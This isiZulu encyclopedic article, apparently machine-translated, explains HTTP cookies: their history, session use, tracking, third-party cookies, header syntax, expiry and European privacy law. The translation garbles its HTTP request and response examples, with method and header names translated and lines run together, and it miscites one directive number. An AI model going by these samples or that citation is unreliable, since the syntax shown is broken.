Ikhukhi ye-inthanethi: Kuyini? Incazelo, Imvelaphi, Izinhlobo Nobumfihlo

Un ikhukhi noma ikhukhi lewebhu (noma ikhukhi, kufushaniswe ngokuthi ufakazi e-Quebec) ichazwa iphrothokholi yokuxhumana ye-HTTP njengokulandelana kolwazi oluthunyelwa iseva ye-HTTP kuklayenti le-HTTP, elibuyisela kamuva ngaso sonke isikhathi lapho iseva ye-HTTP ibuzwa ngaphansi kwezimo ezithile.

Ikhukhi lilingana ne-a ifayela lombhalo elincane eligcinwe kutheminali yomsebenzisi we-inthanethi. Njengoba ikhona iminyaka engaphezu kwengu-20, ivumela abathuthukisi bewebhusayithi ukuthi bagcine idatha yomsebenzisi ukuze kube lula ukuzulazula kwabo futhi bavumele ukusebenza okuthile. Amakhukhi abelokhu enengxabano enkulu noma encane ngoba aqukethe ulwazi lomuntu siqu oluyinsalela olungase luxhashazwe abantu besithathu.

Ithunyelwa njengenhlokweni ye-HTTP yiseva yewebhu kusiphequluli sewebhu esiyibuyisela ingashintshiwe isikhathi ngasinye lapho ifinyelela iseva. Ikhukhi ingasetshenziswa ukwenza ubuqiniso, iseshini (ukugcinwa kombuso), kanye ne gcina ulwazi oluthile mayelana nomsebenzisi, njengokuthandwayo kwesayithi noma okuqukethwe kwekalishi lokuthenga elisebenza ngogesi. Igama elithi cookie lisuselwa kokuthi ikhukhi eliwumlingo, umqondo owaziwa kakhulu kukhompyutha we-UNIX, okhuthaze umbono negama lamakhukhi esiphequluli. Kunezindlela ezimbalwa ezihlukile zamakhukhi ezikhona, ngayinye inokusetshenziswa kwayo, izinzuzo kanye nokubi.

Njengoba ingamafayela ombhalo alula, amakhukhi awasebenziseki. Abanjalo hhayi spyware noma amagciwane, nakuba amakhukhi avela kwamanye amasayithi etholwa amasofthiwe amaningi okulwa namagciwane ngoba avumela abasebenzisi ukuthi balandelelwe lapho bevakashela amasayithi amaningi. 

Iziphequluli eziningi zesimanje zivumela abasebenzisi ukuthi nquma ukuthi uyawamukela noma uyawenqaba amakhukhi. Abasebenzisi bangakwazi futhi khetha ukuthi amakhukhi agcinwa isikhathi esingakanani. Nokho, ukwenqatshwa okuphelele kwamakhukhi kwenza amanye amasayithi angasebenziseki. Isibonelo, gcina izinqola zokuthenga noma amasayithi adinga ukungena ngemvume usebenzisa imininingwane (igama lomsebenzisi nephasiwedi).

zomlando

ethemini Ikhukhi lisuselwa egameni lesiNgisi ikhukhi eliwumlingo, okuyiphakethe ledatha elitholwa uhlelo futhi libuyise lingashintshiwe. Amakhukhi asevele asetshenziswa ku-IT ngenkathi Lou Montulli babenomqondo wokuwasebenzisa kwezokuxhumana zewebhu ngo-Juni 1994. Ngaleso sikhathi, wayeqashwe yi-Netscape Communications, eyakhele iklayenti isicelo se-e-commerce. Amakhukhi anikeze isixazululo enkingeni yokwethembeka kokusetshenziswa kwenqola yokuthenga ebonakalayo yesitolo.

U-John Giannandrea no-Lou Montulli babhala imininingwane yekhukhi yokuqala ye-Netscape ngalowo nyaka. Inguqulo engu-0.9 beta ye-Mosaic Netscape, ekhishwe ngo-Okthoba 13, 1994, ihlanganiswe ubuchwepheshe bekhukhi (bheka okuthunyelwe). Ukusetshenziswa kokuqala (okungekona okokuhlola) kwamakhukhi kwakuwukuthola ukuthi izivakashi zewebhusayithi ye-Netscape zazike zavakashela isayithi ngaphambilini. U-Montulli wafaka isicelo selungelo lobunikazi lobuchwepheshe bekhukhi ngo-1995, futhi i-US patent 5774670 yanikezwa. yasungulwa ngo-1998.

Ngemva kokuqaliswa ku-Netscape 0.9 beta ngo-1994, amakhukhi ahlanganiswa ku-Internet Explorer 2, akhululwa ngo-Okthoba 1995.

Ukwethulwa kwamakhukhi akukaziwa kabanzi emphakathini. Ikakhulukazi, amakhukhi amukelwe ngokuzenzakalela kuzilungiselelo zesiphequluli, futhi abasebenzisi abazange baziswe ngobukhona bawo. Abanye abantu babazi ukuthi kukhona amakhukhi ngekota yokuqala ka-1995, kodwa umphakathi jikelele waqala ukuba khona ngemva kokuba i-Financial Times ishicilele isihloko ngoFebhuwari 12, 1996. Ngawo lowo nyaka, amakhukhi athola ukunakwa okuningi kwabezindaba. ngenxa yokugxambukela kobumfihlo okungenzeka. Isihloko samakhukhi kwaxoxwa ngaso ekubonisaneni okubili kwe-American Federal Trade Commission ngo-1996 nango-1997.

Ukuthuthukiswa kokucaciswa kwekhukhi okusemthethweni kwase kuyaqhubeka. Izingxoxo zokuqala zokucaciswa okusemthethweni zenziwa ngo-April 1995 ohlwini lwamakheli elithi www-talk mail. Iqembu elikhethekile le-IETF lakhiwa. Iziphakamiso ezimbili ezihlukile zokwethula umbuso ngokuthengiselana kwe-HTTP zahlongozwa nguBrian Behlendorf noDavid Kristol ngokulandelana, kodwa iqembu, eliholwa nguKristol ngokwakhe, lanquma ukusebenzisa ukucaciswa kweNetscape njengesiqalo. NgoFebhuwari 1996, iqembu elisebenzayo lathola ukuthi amakhukhi ezinkampani zangaphandle ayingozi enkulu kubumfihlo. Ukucaciswa okukhiqizwe yiqembu kwagcina kushicilelwe njenge RFC 2109.

Kusukela ekupheleni kuka-2014, sibona isibhengezo mayelana namakhukhi kumasayithi amaningi. Kukhona okungenani isandiso sesiphequluli esisodwa esivumela i- isibhengezo asiboniswa.

Izinhlobo zamakhukhi kanye nokusetshenziswa

Ukuphathwa kweseshini

Amakhukhi angasetshenziswa ukuze kugcinwe idatha yomsebenzisi phakathi nokuzulazula, kodwa futhi nakukuvakasha okuningi. Amakhukhi ethulwa ukuze ahlinzeke ngendlela yokusebenzisa izinqola zokuthenga zikagesi, idivayisi ebonakalayo lapho umsebenzisi angaqongelela khona izinto afuna ukuzithenga ngenkathi ephequlula isayithi.

Kulezi zinsuku, izinhlelo zokusebenza ezifana nezinqola zokuthenga esikhundleni salokho zigcina uhlu lwezinto kusizindalwazi kuseva, okuyinto ekhethwayo; kunokuwagcina kukhukhi ngokwalo. Iseva yewebhu ithumela ikhukhi eliqukethe i-ID yeseshini ehlukile. Isiphequluli sewebhu sibe sesibuyisela le ID yeseshini esicelweni ngasinye esilandelayo futhi izinto ezikubhasikidi zigcinwa futhi zihlotshaniswa nale ID yeseshini ehlukile.

Ukusetshenziswa njalo kwamakhukhi kuyasiza ekungeneni kusayithi usebenzisa imininingwane. Ngamafuphi, iseva yewebhu iqala ngokuthumela ikhukhi eliqukethe i-ID yeseshini ehlukile. Bese abasebenzisi bahlinzeka ngemininingwane yabo (imvamisa igama lomsebenzisi nephasiwedi). Uhlelo lokusebenza lwewebhu bese luqinisekisa iseshini futhi luvumela umsebenzisi ukuthi afinyelele isevisi.

okomuntu siqu

Amakhukhi angasetshenziswa ukukhumbula ulwazi mayelana nomsebenzisi wesayithi, ukuze ambonise okuqukethwe okufanele esikhathini esizayo. Isibonelo, iseva yewebhu ingathumela ikhukhi eliqukethe igama lomsebenzisi lokugcina elisetshenziswe ukungena kuleyo webhusayithi, ukuze igama lomsebenzisi ligcwaliswe kusengaphambili ekuvakasheni okuzayo.

Amawebhusayithi amaningi asebenzisa amakhukhi ukuze enze kube ngokwakho ngokusekelwe kokuthandwa ngumsebenzisi. Abasebenzisi bakhetha izintandokazi zabo ngendlela bese behambisa lokhu kuseva. Iseva ibhala ngekhodi okuthandwayo kukhukhi futhi ikubuyisele esipheqululini. Ngokulandelayo, isikhathi ngasinye lapho umsebenzisi efinyelela ikhasi lale sayithi, isiphequluli sibuyisela ikhukhi ngakho-ke uhlu lwezintandokazi; iseva ingakwazi ukwenza ikhasi ngendlela oyifisayo ngokuvumelana nezintandokazi zomsebenzisi. Isibonelo, iwebhusayithi ye-Wikipedia ivumela abasebenzisi bayo ukuthi bakhethe isikhumba sesayithi abayithandayo. Injini yokusesha yakwa-Google ivumela abasebenzisi bayo (ngisho noma bengabhalisiwe) ukuthi bakhethe inani lemiphumela abafuna ukuyibona ekhasini ngalinye lemiphumela.

Ukulandelela

Amakhukhi okulandelela asetshenziselwa ukulandelela imikhuba yokuphequlula yabasebenzisi be-inthanethi. Lokhu futhi kungenziwa ngokwengxenye ngokusebenzisa ikheli le-IP lekhompyutha ngokwenza isicelo sekhasi noma ngokusebenzisa isihloko esithi 'referrer' se-HTTP esithunyelwa iklayenti ngaso sonke isicelo, kodwa amakhukhi avumela ukunemba okukhulu. Lokhu kungenziwa njengakusibonelo esilandelayo:

1. Uma umsebenzisi ebiza ikhasi kusayithi, futhi isicelo singaqukethe ikhukhi, iseva ithatha ukuthi leli yikhasi lokuqala elivakashelwe umsebenzisi. Iseva ibe isidala iyunithi yezinhlamvu engahleliwe futhi iyithumele kusiphequluli kanye nekhasi eliceliwe.
2. Kusukela kulo mzuzu, ikhukhi izothunyelwa ngokuzenzakalelayo yisiphequluli ngaso sonke isikhathi lapho ikhasi elisha lesayithi libizwa. Iseva izothumela ikhasi njengenjwayelo, kodwa izophinda ifake i-URL yekhasi elibizwa, idethi, isikhathi sesicelo kanye nekhukhi kufayela lokungena.

Ngokubheka ifayela lokungena, kuyenzeka ukwazi ukubona ukuthi yimaphi amakhasi umsebenzisi awavakashele futhi ngaluphi uhlelo. Isibonelo, uma ifayela liqukethe izicelo ezimbalwa ezenziwe kusetshenziswa ikhukhi ye-id=abc, lokhu kungase kubonise ukuthi zonke lezi zicelo zivela kumsebenzisi ofanayo. I-URL eceliwe, idethi nesikhathi esihlobene nezicelo kuvumela ukuphequlula komsebenzisi ukuthi kulandelelwe.

Amakhukhi ezinkampani zangaphandle namabhikhoni ewebhu, achazwe ngezansi, anika amandla ukulandelela kumasayithi ahlukene. Ukulandelela isayithi elilodwa kuvame ukusetshenziselwa izinjongo zezibalo. Ngokuphambene, ukulandelela kuwo wonke amasayithi ahlukene usebenzisa amakhukhi ezinkampani zangaphandle ngokuvamile kusetshenziswa izinkampani zokukhangisa ukuze zikhiqize amaphrofayela abasebenzisi angaziwa (abe esesetshenziselwa ukunquma ukuthi yiziphi izikhangiso okufanele ziboniswe kumsebenzisi kanye nokumthumelela ama-imeyili ahambisana nalezi zikhangiso - UGAXEKILE. ).

Amakhukhi okulandelela ayingozi yokuhlaselwa kobumfihlo bomsebenzisi kodwa angasuswa kalula. Iziphequluli eziningi zesimanje zifaka phakathi inketho yokususa ngokuzenzakalela amakhukhi aqhubekayo lapho uvala uhlelo lokusebenza.

Amakhukhi enkampani yangaphandle

Izithombe nezinye izinto eziqukethwe ekhasini lewebhu zingahlala kumaseva ahlukile kulowo ophethe ikhasi. Ukubonisa ikhasi, isiphequluli silanda zonke lezi zinto. Amawebhusayithi amaningi aqukethe ulwazi oluvela emithonjeni eyahlukene. Isibonelo, uma uthayipha i-www.example.com esipheqululini sakho, kuvame ukuba nezinto noma izikhangiso engxenyeni yekhasi evela emithonjeni eyahlukene, okungukuthi, esizindeni esihlukile kune-www..example.com. Amakhukhi eqembu "lokuqala" amakhukhi asethwe yisizinda esisohlwini lwebha yekheli lesiphequluli. Amakhukhi enkampani yangaphandle asethwa enye yezinto zekhasi ezivela esizindeni esihlukile.

Ngokuzenzakalelayo, iziphequluli ezifana ne-Mozilla Firefox, i-Microsoft Internet Explorer ne-Opera zamukela amakhukhi ezinkampani zangaphandle, kodwa abasebenzisi bangashintsha izilungiselelo kuzinketho zesiphequluli ukuze bawavimbe. Abukho ubungozi bokuphepha obutholakala kumakhukhi enkampani yangaphandle anika amandla ukusebenza kwewebhu, nokho aphinde asetshenziswe ukulandelela abasebenzisi. kusuka endaweni kuya esizeni.

Amathuluzi afana ne-Ghostery atholakalayo kuzo zonke iziphequluli ezihlanganisa i-Google Chrome angavimba ukushintshanisa phakathi kwezinkampani zangaphandle.

Ukuqaliswa

Amakhukhi ayizingcezu ezincane zedatha ethunyelwe iseva yewebhu esipheqululini. Isiphequluli sizibuyisela kuseva zingashintshile, sethula isimo (inkumbulo yezehlakalo ezidlule) ekwenziweni okungasho lutho kwe-HTTP. Ngaphandle kwamakhukhi, ukubuyiswa ngakunye kwekhasi lewebhu noma ingxenye yekhasi lewebhu kuwumcimbi ohlukile, ongaxhomekeki kwezinye izicelo ezenziwe kusayithi elifanayo. Ngaphezu kokwazi ukusethwa iseva yewebhu, amakhukhi angasethwa futhi ngezilimi zokubhala ezifana ne-JavaScript, uma isekelwe futhi igunyazwe isiphequluli.

Ukucaciswa kwekhukhi okusemthethweni kuphakamisa ukuthi iziphequluli kufanele zikwazi ukulondoloza nokuthumela kabusha inani elincane lamakhukhi. Ngokukhethekile, isiphequluli kufanele sikwazi ukugcina okungenani amakhukhi angu-300 amakhilobhayithi amane lilinye, futhi okungenani amakhukhi angu-20 kuseva eyodwa noma isizinda.

Ngokwesigaba 3.1 so RFC 2965, amagama amakhukhi awazweli.

Ikhukhi lingacacisa usuku lokuphelelwa yisikhathi, lapho ikhukhi lizosuswa ngalolu suku. Uma ikhukhi ingacacisi idethi yokuphelelwa yisikhathi, ikhukhi iyasuswa ngokushesha nje lapho umsebenzisi eshiya isiphequluli sakhe. Ngakho-ke, ukucacisa idethi yokuphelelwa yisikhathi kuyindlela yokwenza ikhukhi liphile kumaseshini amaningi. Ngalesi sizathu, amakhukhi anedethi yokuphelelwa yisikhathi kuthiwa ayi eziphikelelayo. Isibonelo sohlelo lokusebenza: isayithi lokuthengisa lingase lisebenzise amakhukhi aqhubekayo ukurekhoda izinto abasebenzisi abazibeke ekalishini labo lokuthenga (empeleni, ikhukhi ingase ibhekisele kokufakiwe okulondolozwe kusizindalwazi esisendaweni yokuthengisa, hhayi kukhompuyutha yakho) . Ngalezi zindlela, uma abasebenzisi beshiya isiphequluli sabo ngaphandle kokuthenga futhi babuyele kuso kamuva, bazokwazi ukuthola izinto ezisekalishini futhi. Uma la makhukhi enganikanga usuku lokuphelelwa yisikhathi, ayezophelelwa yisikhathi lapho isiphequluli sivaliwe, futhi ulwazi lokuqukethwe kubhasikidi luzolahleka.

Amakhukhi anganqunyelwa kusizinda esithize, isizinda esingaphansi kwesinye noma indlela kuseva ewadalile.

Ukwakhiwa kwekhukhi

Ukudluliswa kwamakhasi ewebhu kwenziwa kusetshenziswa i-HyperText Transfer Protocol (HTTP). Ngokuziba amakhukhi, iziphequluli shayela ikhasi eziphakelini zewebhu ngokuvamisile ukuwathumela umbhalo omfushane obizwa ngokuthi Isicelo se-HTTP. Isibonelo, ukufinyelela ikhasi elithi www.example.org/index.html, iziphequluli zixhuma kuseva ethi www.example.org futhi zithumele isicelo esibukeka kanje:

	THOLA /index.html HTTP/1.1Host: www.example.org
Itilosi	→	iseva

Iseva iphendula ngokuthumela ikhasi eliceliwe, landulelwa umbhalo ofanayo, lonke libizwa Impendulo ye-HTTP. Leli phakethe lingase libe nemigqa eyala isiphequluli ukuthi sigcine amakhukhi:

	HTTP/1.1 200 OKUhlobo-lokuqukethwe: umbhalo/htmlSet-Cookie: igama=inani (ikhasi le-HTML)
Itilosi	←	iseva

Iseva ithumela kuphela ulayini we-Set-Cookie, uma iseva ifuna ukuthi isiphequluli sigcine ikhukhi. I-Set-Cookie isicelo sokuthi isiphequluli sigcine igama=iyunithi yezinhlamvu zenani futhi siyibuyisele kuzo zonke izicelo zesikhathi esizayo kuseva. Uma isiphequluli sisekela amakhukhi futhi amakhukhi enikwe amandla ezinkethweni zesiphequluli, ikhukhi izofakwa kuzo zonke izicelo ezilandelayo ezenziwe kwiseva efanayo. Isibonelo, isiphequluli sishayela ikhasi www.example.org/news.html ngokuthumela isicelo esilandelayo kwiseva ethi www.example.org:

	THOLA /news.html HTTP/1.1Host: www.example.orgCookie: name=valueYamukela: */*
Itilosi	→	iseva

Lesi isicelo selinye ikhasi elisuka kuseva efanayo, futhi liyahluka kwelokuqala elingenhla ngoba liqukethe iyunithi yezinhlamvu leyo iseva eyayithumela ngaphambilini esipheqululini. Ngenxa yalokhu, iseva iyazi ukuthi lesi sicelo sixhunywe kwesedlule. Iseva iphendula ngokuthumela ikhasi elibiziwe, futhi futhi ngokwengeza amanye amakhukhi kulo.

Inani lekhukhi lingashintshwa yiseva ngokuthumela umugqa omusha we-Set-Cookie: name=new_value ngokuphendula ikhasi elibiziwe. Isiphequluli sibe sesifaka esikhundleni senani elidala ngelisha.

Ulayini we-Set-Cookie uvamise ukudalwa wuhlelo lwe-CGI noma olunye ulimi lokubhala, hhayi iseva ye-HTTP. Iseva ye-HTTP (isibonelo: i-Apache) izodlulisela kuphela umphumela wohlelo (idokhumenti eyandulelwa unhlokweni oqukethe amakhukhi) esipheqululini.

Amakhukhi angaphinda asethwe yi-JavaScript noma ezinye izilimi ezifanayo ezisebenza esipheqululini, i.e. ohlangothini lweklayenti kunohlangothi lweseva. Ku-JavaScript, into ye-document.cookie isetshenziselwa le njongo. Isibonelo, isitatimende se-document.cookie = "temperature=20" sidala ikhukhi eliqanjwe "izinga lokushisa" futhi elinenani elingu-20.

Izimfanelo zekhukhi

Ngokungeziwe kupheya yegama/inani, ikhukhi lingaqukatha idethi yokuphelelwa yisikhathi, indlela, igama lesizinda kanye nohlobo lokuxhumana okuhlosiwe, okungukuthi okuvamile noma okubethelwe. I-RFC 2965 iphinda ichaze ukuthi amakhukhi kufanele abe nenombolo yenguqulo eyisibopho, kodwa lokhu ngokuvamile kuyayekwa. Lezi zingxenye zedatha zilandela igama=new_value pair futhi zihlukaniswa ngama-semicolon. Isibonelo, ikhukhi lingadalwa yiseva ngokuthumela ulayini we-Set-Cookie: name=new_value; iphela=usuku; indlela=/; domain=.example.org.

Ukuphelelwa yisikhathi kwekhukhi

Amakhukhi aphelelwa yisikhathi futhi awathunyelwa isiphequluli kuseva ezimeni ezilandelayo:

• Uma isiphequluli sivaliwe, uma ikhukhi ingaqhubeki.
• Uma usuku lokuphelelwa yisikhathi kwekhukhi seludlulile.
• Lapho idethi yokuphelelwa yisikhathi yekhukhi iguqulwa (yiseva noma umbhalo) ibe idethi yakudala.
• Lapho isiphequluli sisusa ikhukhi ngokwesicelo somsebenzisi.

Isimo sesithathu sivumela amaseva noma imibhalo ukuthi isuse ngokusobala ikhukhi. Qaphela ukuthi kuyenzeka ngesiphequluli sewebhu se-Google Chrome ukwazi usuku lokuphelelwa yisikhathi kwekhukhi elithile ngokufinyelela izilungiselelo zokuqukethwe. Ikhukhi elilondolozwe kukhompuyutha lingase lihlale lapho amashumi eminyaka ambalwa uma kungekho nqubo ethathwayo ukulisula.

Ama-stereotypes

Kusukela bethulwa ku-inthanethi, imibono eminingi mayelana namakhukhi isabalale ku-inthanethi nakwabezindaba. Ngo-1998, i-CIAC, ithimba eliqapha izigameko zekhompuyutha yoMnyango Wezamandla wase-United States, lanquma ukuthi ubungozi bokuphepha kwamakhukhi "abukho ngempela" futhi yachaza ukuthi "ulwazi ngomsuka wokuvakasha kwakho kanye nemininingwane yamakhasi ewebhu owavakashele. vele akhona kumafayela okungena eziphakelini zewebhu”. Ngo-2005, i-Jupiter Research yashicilela imiphumela yocwaningo, lapho ingxenye enkulu yabaphenduli icabangele lezi zitatimende ezilandelayo:

• Amakhukhi afana igciwane, bathelela ama-hard drive abasebenzisi.
• Amakhukhi akhiqiza vela.
• Amakhukhi asetshenziselwa ukuthumela ugaxekile.
• Amakhukhi asetshenziselwa ukukhangisa kuphela.

Amakhukhi awakwazi ukusula noma ukufunda ulwazi kukhompuyutha yomsebenzisi. Kodwa-ke, amakhukhi enza kube nokwenzeka ukuthola amakhasi ewebhu avakashelwe umsebenzisi endaweni ethile noma isethi yamasayithi. Lolu lwazi lungaqoqwa kuphrofayela yomsebenzisi engasetshenziswa noma ithengiswe kabusha kubantu besithathu, okungadala izinkinga ezibucayi zobumfihlo. Amanye amaphrofayili awaziwa, ngomqondo wokuthi awaqukethe imininingwane yomuntu siqu, nokho amaphrofayili anjalo angaba nokungabazekayo.

Ngokusho kocwaningo olufanayo, amaphesenti amakhulu abasebenzisi be-inthanethi abazi ukuthi bawasusa kanjani amakhukhi. Esinye sezizathu esenza abantu bangawathembi amakhukhi ukuthi amanye amasayithi asebenzise kabi isici esihlonza umuntu siqu samakhukhi futhi abelane ngalolu lwazi neminye imithombo. Iphesenti elikhulu lokukhangisa okuhlosiwe nama-imeyili angaceliwe, abhekwa njengogaxekile, avela olwazini olutholwe ekulandeleleni amakhukhi.

Izilungiselelo zesiphequluli

Iziphequluli eziningi zisekela amakhukhi futhi zivumela umsebenzisi ukuthi azenze zingasebenzi. Izinketho ezivame kakhulu yilezi:

• Vumela noma uvale amakhukhi ngokuphelele, ukuze amukeleke njalo noma avinjelwe.
• Vumela umsebenzisi ukuthi abone amakhukhi asebenzayo ekhasini elinikeziwe, ngokufaka i-javascript: alert(document.cookie) kubha yekheli lesiphequluli. Ezinye iziphequluli zifaka phakathi umphathi wekhukhi womsebenzisi ongabuka futhi asuse amakhukhi agcinwe okwamanje yisiphequluli.

Iziphequluli eziningi zivumela nokususwa ngokuphelele kwedatha yomuntu siqu ehlanganisa amakhukhi. Amamojula engeziwe okulawula izimvume zekhukhi akhona.

Ubumfihlo Namakhukhi Enkampani Yangaphandle

Kulesi sibonelo esingelona iqiniso, inkampani yokukhangisa ibeke izibhengezo kumawebhusayithi amabili. Ngokusingatha izibhengezo eziphakelini zayo nokusebenzisa amakhukhi ezinkampani zangaphandle, inkampani yokukhangisa iyakwazi ukulandelela ukuzulazula komsebenzisi kulawa masayithi amabili.

Amakhukhi anemithelela ebalulekile kubumfihlo nokungaziwa kwabasebenzisi bewebhu. Nakuba amakhukhi ebuyiselwa kuphela kuseva ewasethileyo noma kwiseva yesizinda esifanayo se-inthanethi, ikhasi lewebhu lingase libe nezithombe noma ezinye izingxenye ezigcinwe kumaseva akwezinye izizinda. Amakhukhi asethwe ngesikhathi sokutholwa kwalezi zingxenye zangaphandle abizwa amakhukhi wesithathu. Lokhu kufaka amakhukhi avela emafasiteleni azivelelayo angafuneki.

Izinkampani ezikhangisayo zisebenzisa amakhukhi ezinkampani zangaphandle ukulandelela abasebenzisi kuwo wonke amasayithi ahlukene abawavakashelayo. Ikakhulukazi, inkampani yokukhangisa ingalandelela umsebenzisi kuwo wonke amakhasi lapho ibeke khona izithombe zokukhangisa noma iphikseli yokulandelela. Ulwazi lwamakhasi avakashelwe umsebenzisi luvumela inkampani yokukhangisa ukuthi iqondise izintandokazi zokukhangisa zomsebenzisi.

Ikhono lokwakha iphrofayela yomsebenzisi libhekwa ngabanye njengokuhlasela kwangasese, ikakhulukazi uma ukulandelela kwenziwa ezizindeni ezihlukene kusetshenziswa amakhukhi ezinkampani zangaphandle. Ngalesi sizathu, amanye amazwe anomthetho wamakhukhi.

Uhulumeni wase-United States wasebenzisa imithetho eqinile ekubekweni kwamakhukhi ngo-2000, ngemuva kokuvezwa ukuthi i-White House Drug Policy Office yayisebenzisa amakhukhi ukulandelela amakhompyutha abasebenzisi ababuka izikhangiso zezidakamizwa eziku-inthanethi. Ngo-2002, isishoshovu sobumfihlo uDaniel Brandt wathola ukuthi i-CIA ishiye amakhukhi aqhubekayo kumakhompyutha ayevakashele amawebhusayithi ayo. Ngemva kokwaziswa ngalokhu kuphulwa, i-CIA yamemezela ukuthi lawa makhukhi awathunyelwanga ngamabomu futhi ayeke ukuwasetha. Ngomhla zingama-25 kuZibandlela 2005, uBrandt wathola ukuthi i-National Security Agency (NSA) ishiye amakhukhi amabili aqhubekayo kumakhompyutha ezivakashi ngenxa yesibuyekezo sesofthiwe. Ngemva kokwaziswa, i-NSA yavala ngokushesha amakhukhi.

E-United Kingdom, i- Umthetho wamakhukhi “, eqale ukusebenza ngoMeyi 25, 2012, ibophezela amasayithi ukuthi aveze izinhloso zawo, ngaleyo ndlela ivumela abasebenzisi ukuthi bakhethe ukuthi bafuna ukushiya imikhondo noma cha kokudlula kwabo ku-inthanethi. Ngakho-ke zingavikeleka ekuqondisweni kokukhangisa. Nokho, ngokuvumelana ne The Guardian, imvume yabasebenzisi be-inthanethi ayicacisi ngempela; izinguquko zenziwe emigomeni yemvume yomsebenzisi, ukuyenza ngaleyo ndlela.

I-Directive 2002/58 mayelana nobumfihlo

I-Directive 202/58 yemfihlo kanye nezokuxhumana ngogesi, iqukethe imithetho ngokusetshenziswa kwamakhukhi. Ikakhulukazi, i-athikili 5, isigaba 3 salo myalelo sidinga ukuthi ukugcinwa kwedatha (njengamakhukhi) kukhompuyutha yomsebenzisi kungenziwa kuphela uma:

• umsebenzisi uyaziswa ukuthi idatha isetshenziswa kanjani;
• umsebenzisi unikezwa inketho yokwenqaba lokhu kusebenza kwesitoreji. Kodwa-ke, lesi sihloko siphinde sithi ukugcinwa kwedatha ngezizathu zobuchwepheshe kukhululiwe kulo mthetho.

Ngenxa yokuthi uzoqala ukusetshenziswa kusukela ngo-Okthoba 2003, lo myalelo waze wasetshenziswa ngendlela engafanele ngokombiko kaZibandlela wezi-2004, ophinde waveza ukuthi amanye Amazwe Angamalungu (i-Slovakia, i-Latvia, iGreece, iBelgium kanye ne-Luxembourg) ayengakayidluliseli inkontileka. isiqondiso emthethweni wasekhaya.

Ngokombono we-G29 ngo-2010, lesi siqondiso, esibeka ikakhulukazi ukusetshenziswa kwamakhukhi ngezinjongo zokukhangisa kokuziphatha, ngemvume ecacile yomsebenzisi we-inthanethi uhlala usetshenziswa kabi kakhulu. Eqinisweni, amasayithi amaningi akwenza lokho ngendlela engahambisani nomyalelo, ngokuzikhawulela "esibhengezo" esilula esazisa ngokusetshenziswa "kwamakhukhi" ngaphandle kokunikeza ulwazi mayelana nokusetshenziswa, ngaphandle kokuhlukanisa phakathi kwamakhukhi "obuchwepheshe". amakhukhi "wokulandelela", noma ukunikeza ukukhetha kwangempela kumsebenzisi ofisa ukugcina amakhukhi okusebenza (njengamakhukhi okuphatha inqola yokuthenga) futhi wenqabe amakhukhi "wokulandelela". Eqinisweni, amasayithi amaningi awasebenzi ngendlela efanele uma amakhukhi enqatshwa, angathobeli imiyalelo 2002/58 noma isiyalezo 95/46 (Ukuvikelwa kwedatha yomuntu siqu).

I-Directive 2009/136/CE

Lokhu kwaziswa kubuyekezwe yi-Directive 2009/136/EC yamhla zingama-25 kuNovemba, 2009 ethi "ukugcinwa kolwazi, noma ukuthola ukufinyelela olwazini oseluvele lugciniwe, kumshini wokugcina wokubhalisa noma umsebenzisi kuvunyelwe kuphela ngaphansi kwemibandela yokuthi obhalisile noma umsebenzisi unikeze imvume yakhe, ngemva kokuthola, ngokuhambisana neSiqondiso 95/46/EC, ulwazi olucacile noluphelele, phakathi kwabanye ngezinjongo zokucubungula”. Ngakho-ke umyalo omusha uqinisa izibopho ngaphambi kokufaka amakhukhi kukhompyutha yomsebenzisi we-inthanethi.

Ekucatshangelweni kokuqala komyalelo, isishayamthetho saseYurophu siyacacisa: "Lapho kungenzeka ngokobuchwepheshe futhi kusebenza kahle, ngokuhambisana nezinhlinzeko ezifanele ze-Directive 95/46/EC, imvume yomsebenzisi maqondana nokucubungula ingavezwa ngokusebenzisa ukusetshenziswa kwezilungiselelo ezifanele zesiphequluli noma olunye uhlelo lokusebenza”. Kodwa empeleni, asikho isiphequluli kuze kube manje esenza kube nokwenzeka ukuhlukanisa amakhukhi obuchwepheshe abalulekile kulawo ozikhethela okufanele ashiywe ekukhethweni komsebenzisi.

Lo myalelo omusha uhunyushwe ngamaLungu ePhalamende aseBelgium ngoJulayi 2012. Ucwaningo lwango-2014 lukhombisa ukuthi namaLungu ePhalamende akuthola kunzima ukufaka isicelo. izithiyo zomyalelo.

P3P

Ukucaciswa kwe-P3P kufaka phakathi amandla okuthi iseva isho inqubomgomo yobumfihlo, echaza ukuthi iqoqa luphi ulwazi nokuthi ngayiphi injongo. Lezi zinqubomgomo zifaka (kodwa azikhawulelwe) ukusetshenziswa kolwazi oluqoqwe kusetshenziswa amakhukhi. Ngokwezincazelo ze-P3P, isiphequluli singamukela noma senqabe amakhukhi ngokuqhathanisa izinqubomgomo zobumfihlo nokuthandwa ngumsebenzisi noma ngokubuza umsebenzisi, sethula isitatimende sobumfihlo esimenyezelwe yiseva.

Iziphequluli eziningi, ezihlanganisa i-Apple Safari ne-Microsoft Internet Explorer izinguqulo 6 no-7, zisekela i-P3P evumela isiphequluli ukunquma ukuthi siyakwamukela yini ukugcinwa kwekhukhi lomuntu wesithathu. Isiphequluli se-Opera sivumela abasebenzisi ukuthi banqabe amakhukhi ezinkampani zangaphandle futhi bakhe iphrofayili yokuphepha yomhlaba jikelele kanye ethile yezizinda ze-inthanethi. Inguqulo 2 yeMozilla Firefox yehlise ukwesekwa kwe-P3P kodwa yayibuyisela kunguqulo 3.

Amakhukhi ezinkampani zangaphandle angavinjwa iziphequluli eziningi ukuze kwandiswe ubumfihlo futhi kuncishiswe ukulandelelwa kwezikhangiso, ngaphandle kokuthikameze kabi ulwazi lomsebenzisi lwewebhu. Izikhungo eziningi zokukhangisa zinikeza inketho Phuma ekukhangiseni okuhlosiwe, ngokusetha ikhukhi elijwayelekile esipheqululini elenza lokhu kuqondise kusebenze, kodwa isisombululo esinjalo asisebenzi kahle, uma sihlonishwa, ngoba le khukhi ejwayelekile iyasulwa ngokushesha nje lapho umsebenzisi esusa lawa makhukhi akhansela ukukhetha. isinqumo.

Ukungalungi kwamakhukhi

Ngokungeziwe ezindabeni zobumfihlo, amakhukhi aphinde abe nezithiyo ezithile zobuchwepheshe. Ikakhulukazi, ababoni ngaso sonke isikhathi ngokunembile abasebenzisi, banganciphisa ukusebenza kwesayithi uma bebaningi, bangasetshenziselwa ukuhlasela kwezokuphepha, futhi bangqubuzana nokudluliswa kombuso omele, isitayela sezakhiwo zesofthiwe.

Ukuhlonza okungacacile

